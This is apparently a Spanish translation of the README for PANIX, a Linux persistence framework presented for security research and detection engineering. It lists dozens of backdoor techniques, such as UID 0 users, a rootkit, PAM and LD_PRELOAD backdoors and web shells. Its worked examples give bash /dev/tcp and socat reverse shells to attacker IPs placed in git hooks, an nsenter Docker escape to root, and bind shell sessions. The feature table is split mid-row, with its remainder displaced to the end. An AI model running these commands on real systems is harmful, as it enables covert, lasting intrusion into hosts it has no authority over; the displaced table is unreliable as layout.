
Herramienta de persistencia personalizable para Linux para investigación de seguridad e ingeniería de detección.

PANIX es un framework de persistencia para Linux potente, modular y altamente personalizable, diseñado para investigadores de seguridad, ingenieros de detección, pentesters, entusiastas de CTF y más. Construido con versatilidad en mente, PANIX enfatiza la funcionalidad, lo que lo convierte en una herramienta esencial para comprender e implementar una amplia gama de técnicas de persistencia.

PANIX ofrece un conjunto versátil de funciones para simular e investigar mecanismos de persistencia en Linux.
| Característica | Descripción | Root | Usuario |
|---|---|---|---|
| Persistencia mediante trabajos At | Implementa persistencia añadiendo entradas a los trabajos del sistema. | ✅ | ✅ |
| Claves autorizadas | Añade una clave pública al archivo authorized_keys para acceso SSH. | ✅ | ✅ |
| Usuario backdoor | Crea un usuario backdoor con UID=0 (privilegios root). | ✅ | ❌ |
| Usuario de sistema backdoor | Convierte en backdoor un usuario del sistema (acceso SSH a news/nobody). | ✅ | ❌ |
| /etc/passwd manipulado | Añade directamente una entrada de usuario maliciosa a /etc/passwd. | ✅ | ❌ |
| /etc/init.d manipulado | Establece persistencia mediante SysVinit (/etc/init.d). | ✅ | ❌ |
| /etc/rc.local manipulado | Establece persistencia mediante control de ejecución (/etc/rc.local). | ✅ | ❌ |
| Bind shell | Ejecuta un bind shell precompilado/LOLBin para acceso remoto. | ✅ | ✅ |
| Backdoor de capacidades | Añade capacidades específicas a binarios para mantener la persistencia. | ✅ | ❌ |
| Persistencia mediante cron | Configura trabajos cron para asegurar la persistencia entre reinicios. | ✅ | ✅ |
| Crear usuario | Crea una nueva cuenta de usuario en el sistema. | ✅ | ❌ |
| Backdoor D-Bus | Crea un servicio D-Bus para acceso root mediante reverse shell. | ✅ | ❌ |
| Rootkit Diamorphine | Instala el rootkit de módulo de kernel cargable Diamorphine. | ✅ | ❌ |
| Persistencia en initramfs | Inyecta un usuario backdoor con UID=0 en initramfs al reiniciar. | ✅ | ❌ |
| Persistencia en Git |

PANIX ofrece soporte integral para diversas distribuciones de Linux.
Las distribuciones Linux personalizadas o desactualizadas pueden tener configuraciones diferentes o carecer de características específicas, lo que puede provocar que los mecanismos fallen en versiones no probadas. Si un comando predeterminado falla, usa la opción --custom disponible en la mayoría de las funciones para ajustar rutas y comandos a tu entorno. Revisa y modifica el script para adaptarlo a tus necesidades si eso no resuelve el problema.
¡Las contribuciones mediante pull requests o issues para nuevas características, actualizaciones o ideas son siempre bienvenidas!

El repositorio de PANIX está diseñado para la modularidad, el mantenimiento y la facilidad de extensión. Cada mecanismo de persistencia incluye scripts de instalación y reversión, lo que simplifica la gestión y la eliminación.```plaintext PANIX/ ├── main.sh # Core logic and argument parsing. ├── modules/ # Persistence mechanism scripts. │ ├── common.sh # Shared functions. │ ├── setup_*.sh # Setup scripts. │ └── revert/ # Revert scripts. ├── build.sh # Builds the distributable script. ├── panix.sh # Final distributable script. └── README.md # Documentation.
## Key Benefits
- **Paired Setup & Revert**: Cada `setup_*.sh` tiene su correspondiente `revert_*.sh`, lo que garantiza una fácil eliminación de los mecanismos de persistencia.
- **Modular Design**: Modifica fácilmente módulos existentes o añade nuevos sin afectar al script principal.
- **Simple Expansion**: Para añadir nueva funcionalidad:
1. Crea un nuevo `setup_*.sh` en `modules/`.
2. Añade el correspondiente `revert_*.sh` en `modules/revert/`.
3. Actualiza `main.sh` para incluir los nuevos scripts.
4. Actualiza `common.sh` para incluir el módulo en el menú de ayuda.
4. Ejecuta `build.sh` para generar el `panix.sh` actualizado.

# Primeros Pasos
Poner PANIX en marcha es tan sencillo como descargar el script desde la [página de lanzamiento](https://github.com/Aegrah/PANIX/releases/tag/panix-v2.1.0) y ejecutarlo:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash
O descárgalo y ejecútalo manualmente:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh wget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh
chmod +x panix.sh ./panix.sh
Al ejecutar el script se mostrará el menú de ayuda de `root` o `user`, según los privilegios del usuario actual.```
panix@panix-demo:~$ sudo ./panix.sh
__
|__) /\ |\ | | \_/
| /~~\ | \| | / \
@RFGroenewoud
Root User Options:
--at At job persistence
--authorized-keys Add public key to authorized keys
--backdoor-user Create backdoor user
--backdoor-system-user Create backdoor system user
--bind-shell Execute backgrounded bind shell
--cap Add capabilities persistence
--create-user Create a new user
--cron Cron job persistence
--dbus D-Bus service persistence
--generator Generator persistence
--git Git hook/pager persistence
--grub GRUB bootloader persistence
--initd SysV Init (init.d) persistence
--initramfs Initramfs persistence
--ld-preload LD_PRELOAD backdoor persistence"
--lkm Loadable Kernel Module (LKM) persistence
--malicious-container Docker container with host escape"
--malicious-package Build and Install a package for persistence (DPKG/RPM)
--motd Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
--network-manager NetworkManager dispatcher script persistence
--package-manager Package Manager persistence (APT/YUM/DNF)
--pam Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
--passwd-user Add user to /etc/passwd directly
--password-change Change user password
--polkit Allow pkexec as any user through Polkit
--rc-local Run Control (rc.local) persistence
--reverse-shell Reverse shell persistence (supports multiple LOLBins)"
--rootkit Diamorphine (LKM) rootkit persistence
--shell-profile Shell profile persistence
--ssh-key SSH key persistence
--sudoers Sudoers persistence
--suid SUID persistence
--system-binary System binary persistence
--systemd Systemd service persistence
--udev Udev (driver) persistence
--web-shell Web shell persistence (PHP/Python)
--xdg XDG autostart persistence
--revert Revert changes made by PANIX' default options
--mitre-matrix Display the MITRE ATT&CK Matrix for PANIX
--quiet (-q) Quiet mode (no banner)

El script debería ser en gran medida autoexplicativo; no obstante, esta sección mostrará algunos ejemplos de cómo trabajar con PANIX.
Cada mecanismo de persistencia tiene un menú de ayuda independiente:``` ruben@ubuntu2204:~$ sudo ./panix.sh --udev --help Usage: ./panix.sh --udev [OPTIONS] --examples Display command examples -default Use default udev settings --ip Specify IP address --port Specify port number --sedexp | --at | --cron | --systemd Specify the mechanism to use --custom Use custom udev settings --command Specify custom command --path Specify custom path --help|-h Show this help message
Cada mecanismo de persistencia también tiene una opción `--examples` que muestra ejemplos predeterminados y personalizados, lo que ayuda a crear el comando que funciona para ti.```
ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager
--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook
./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"
La mayoría de los mecanismos de persistencia son muy simples y, con suerte, no requerirán mucha explicación. Por ejemplo, la persistencia de systemd se puede configurar simplemente ejecutando:``` ruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337 Service file created successfully! Timer file created successfully! Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer. [+] Systemd service persistence established!
Al configurar un mecanismo de persistencia, el script te informará si funcionó, y en los casos en que se necesita información para trabajar con el mecanismo de persistencia, se proporciona información adicional. Por ejemplo, el mecanismo de bind shell:```
ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!
Permitiéndote interactuar con el bind shell:``` ❯ nc -nv 192.168.211.130 9001 (UNKNOWN) [192.168.211.130] 9001 (?) open whoami root
Lo mismo ocurre con los mecanismos que tienen características integradas adicionales, como el mecanismo de persistencia de Docker, con un escape integrado del host como root:```
ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 722B 0.0s
=> [internal] load metadata for docker.io/library/alpine:latest 2.1s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.8s
=> => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.0s
=> => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB 0.0s
=> => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B 0.0s
=> => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB 0.0s
=> => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB 0.4s
=> => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 0.2s
=> [2/5] RUN apk add --no-cache bash socat sudo util-linux procps 4.4s
=> [3/5] RUN adduser -D lowprivuser 0.6s
=> [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330" 0.8s
=> [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec 0.8s
=> exporting to image 0.6s
=> => exporting layers 0.6s
=> => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790 0.0s
=> => naming to docker.io/library/malicious-container 0.0s
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
Que te muestra exactamente cómo escapar del contenedor y obtener acceso al host.``` ❯ nc -nvlp 330 listening on [any] 330 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400 86ce6b00e872:/$ /usr/local/bin/escape.sh /usr/local/bin/escape.sh root@ubuntu2204:~#
## Mecanismo de Reversión
PANIX puede limpiar su desorden mediante el comando `--revert`. Tanto para módulos separados:```
ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit
######################### [+] Reverting rootkit module... #########################
[+] Sending 'kill -63 0' to unload the rootkit module...
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit...
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.
Y para todos los módulos:``` ruben@ubuntu2204:~$ sudo ./panix.sh --revert all
[+] Running full reversion with --revert-all... [+] Reverting all modules...
######################### [+] Reverting revert_at... #########################
Error: 'at' binary is not present. Cannot revert 'at' jobs. [-] Failed to revert revert_at. Exit Code: 1
######################### [+] Reverting revert_authorized_keys... #########################
[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made. [+] revert_authorized_keys reverted successfully.
######################### [+] Reverting revert_backdoor_user... #########################
[+] No backdoor users found. [+] revert_backdoor_user reverted successfully.
######################### [+] Reverting revert_bind_shell... #########################
[+] Searching for bind shell processes and killing them if present... [+] revert_bind_shell reverted successfully.
[...]
[+] Reversion of all modules complete.
## Matriz MITRE ATT&CK
PANIX tiene una matriz MITRE ATT&CK integrada que muestra las técnicas y sub-técnicas disponibles.```
ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix
MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX
Persistence Method Technique Name Technique ID Sub-technique Name Sub-technique ID URL
------------------- -------------- ------------- ----------------- --------------- ---------------------------------------------
--at Scheduled Task T1053 At T1053.002 https://attack.mitre.org/techniques/T1053/002
--authorized-keys Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--backdoor-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--backdoor-system-user Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--bind-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--cap Abuse Elevation Control Mechanism T1548 N/A N/A https://attack.mitre.org/techniques/T1548
--create-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--cron Scheduled Task T1053 Cron T1053.003 https://attack.mitre.org/techniques/T1053/003
--dbus Create or Modify System Process T1543 N/A N/A https://attack.mitre.org/techniques/T1543
--generator Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--git Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--grub Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--initd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--initramfs Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--ld-preload Hijack Execution Flow T1574 Dynamic Linker Hijacking T1574.006 https://attack.mitre.org/techniques/T1574/006
--lkm Boot or Logon Autostart Execution T1547 Kernel Modules and Extensions T1547.006 https://attack.mitre.org/techniques/T1547/006
--malicious-container Escape to Host T1610 N/A N/A https://attack.mitre.org/techniques/T1610
--malicious-package Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--motd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--network-manager Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--package-manager Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--pam Modify Authentication Process T1556 Pluggable Authentication Modules T1556.003 https://attack.mitre.org/techniques/T1556/003
--passwd-user Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--password-change Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--polkit Modify Authentication Process T1556 N/A N/A https://attack.mitre.org/techniques/T1556
--rc-local Boot or Logon Initialization Scripts T1037 RC Scripts T1037.004 https://attack.mitre.org/techniques/T1037/004
--reverse-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--rootkit Rootkit T1014 N/A N/A https://attack.mitre.org/techniques/T1014
--shell-profile Event Triggered Execution T1546 Unix Shell Configuration Modification T1546.004 https://attack.mitre.org/techniques/T1546/004
--ssh-key Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--sudoers Abuse Elevation Control Mechanism T1548 Sudo and Sudo Caching T1548.003 https://attack.mitre.org/techniques/T1548/003
--suid Abuse Elevation Control Mechanism T1548 Setuid and Setgid T1548.001 https://attack.mitre.org/techniques/T1548/001
--system-binary Compromise Host Software Binary T1554 N/A N/A https://attack.mitre.org/techniques/T1554
--systemd Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--udev Event Triggered Execution T1546 Udev Rules T1546.017 https://attack.mitre.org/techniques/T1546/017
--web-shell Server Software Component T1505 Web Shell T1505.003 https://attack.mitre.org/techniques/T1505/003
--xdg Boot or Logon Autostart Execution T1547 XDG Autostart Entries T1547.013 https://attack.mitre.org/techniques/T1547/013
Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.

Publicaciones en las que se utiliza PANIX:
No dudes en visitar mis redes sociales para estar al día sobre investigación en seguridad (Linux).

Al compartir PANIX, puedes ayudar a otras personas a probar y mejorar su postura de seguridad, además de apoyar el desarrollo de nuevas capacidades de detección en la seguridad de Linux.

PANIX está destinado únicamente a pruebas de seguridad autorizadas y fines de investigación. No se respalda el uso indebido de esta herramienta para actividades maliciosas, y dicho uso corre enteramente por cuenta y riesgo del usuario. Al usar PANIX, aceptas que eres responsable de tus propias acciones. Simplemente, no hagas tonterías.
| Utiliza hooks o paginadores de Git para persistir en repositorios Git. |
| ✅ |
| ✅ |
| Persistencia mediante generadores | Aprovecha los generadores de systemd para crear servicios persistentes. | ✅ | ❌ |
| Backdoor en GRUB | Manipula GRUB para ejecutar un backdoor en el arranque. | ✅ | ❌ |
| Contenedor malicioso | Despliega un contenedor Docker diseñado para el escape del host. | ✅ | ✅ |
| Paquete malicioso | Instala un paquete DPKG/RPM para lograr persistencia. | ✅ | ❌ |
| NetworkManager | Instala un script dispatcher para persistir ante acciones de red. | ✅ | ❌ |
| Backdoor LD_PRELOAD | Usa LD_PRELOAD para inyectar bibliotecas maliciosas y lograr persistencia. | ✅ | ❌ |
| Backdoor LKM | Carga un módulo de kernel cargable para mantener la persistencia. | ✅ | ❌ |
| Backdoor MOTD | Modifica el Message of the Day (MOTD) para establecer persistencia. | ✅ | ❌ |
| Gestor de paquetes | Manipula APT/YUM/DNF para establecer persistencia al usarlos. | ✅ | ❌ |
| Persistencia en PAM | Instala un backdoor en PAM usando un módulo rogue o pam_exec. | ✅ | ❌ |
| Cambio de contraseña | Cambia contraseñas de usuarios para asegurar cuentas backdoor. | ✅ | ❌ |
| Backdoor Polkit | Crea un backdoor de configuración Polkit demasiado permisiva. | ✅ | ❌ |
| Reverse shell | Establece una reverse shell (compatible con múltiples LOLBins). | ✅ | ✅ |
| Persistencia en perfiles de shell | Modifica perfiles de shell para ejecutar scripts al iniciar sesión. | ✅ | ✅ |
| Persistencia de claves SSH | Manipula claves SSH para mantener acceso persistente mediante SSH. | ✅ | ✅ |
| Backdoor en sudoers | Modifica el archivo /etc/sudoers para otorgar privilegios elevados. | ✅ | ❌ |
| Backdoor SUID | Convierte binarios en backdoor estableciendo el bit SUID. | ✅ | ❌ |
| Backdoor en binarios del sistema | Envuelve binarios del sistema para incluir funcionalidad backdoor. | ✅ | ❌ |
| Servicio systemd | Crea servicios systemd que aseguran la persistencia al reiniciar. | ✅ | ✅ |
| Persistencia en Udev | Utiliza drivers para persistir a nivel de interacción con el hardware. | ✅ | ❌ |
| Persistencia de web shell | Despliega servidores web para acceso remoto mediante interfaces web. | ✅ | ✅ |
| Autostart XDG | Emplea directorios de autostart XDG para persistir al iniciar sesión. | ✅ | ✅ |
| Distribución | Soporte | Versión probada |
|---|
| Debian | ✅ | Debian 11 y 12 |
| Ubuntu | ✅ | Ubuntu 22.04 (Diamorphine no disponible) |
| RHEL | ✅ | RHEL 9 (técnicas MOTD y Pre-OS Boot no disponibles) |
| CentOS | ✅ | CentOS Stream 9 y 7 (técnicas MOTD y Pre-OS Boot no disponibles) |
| Fedora | ✅ | No probado por completo |
| Arch Linux | ✅ | No probado por completo |
| OpenSUSE | ✅ | No probado por completo |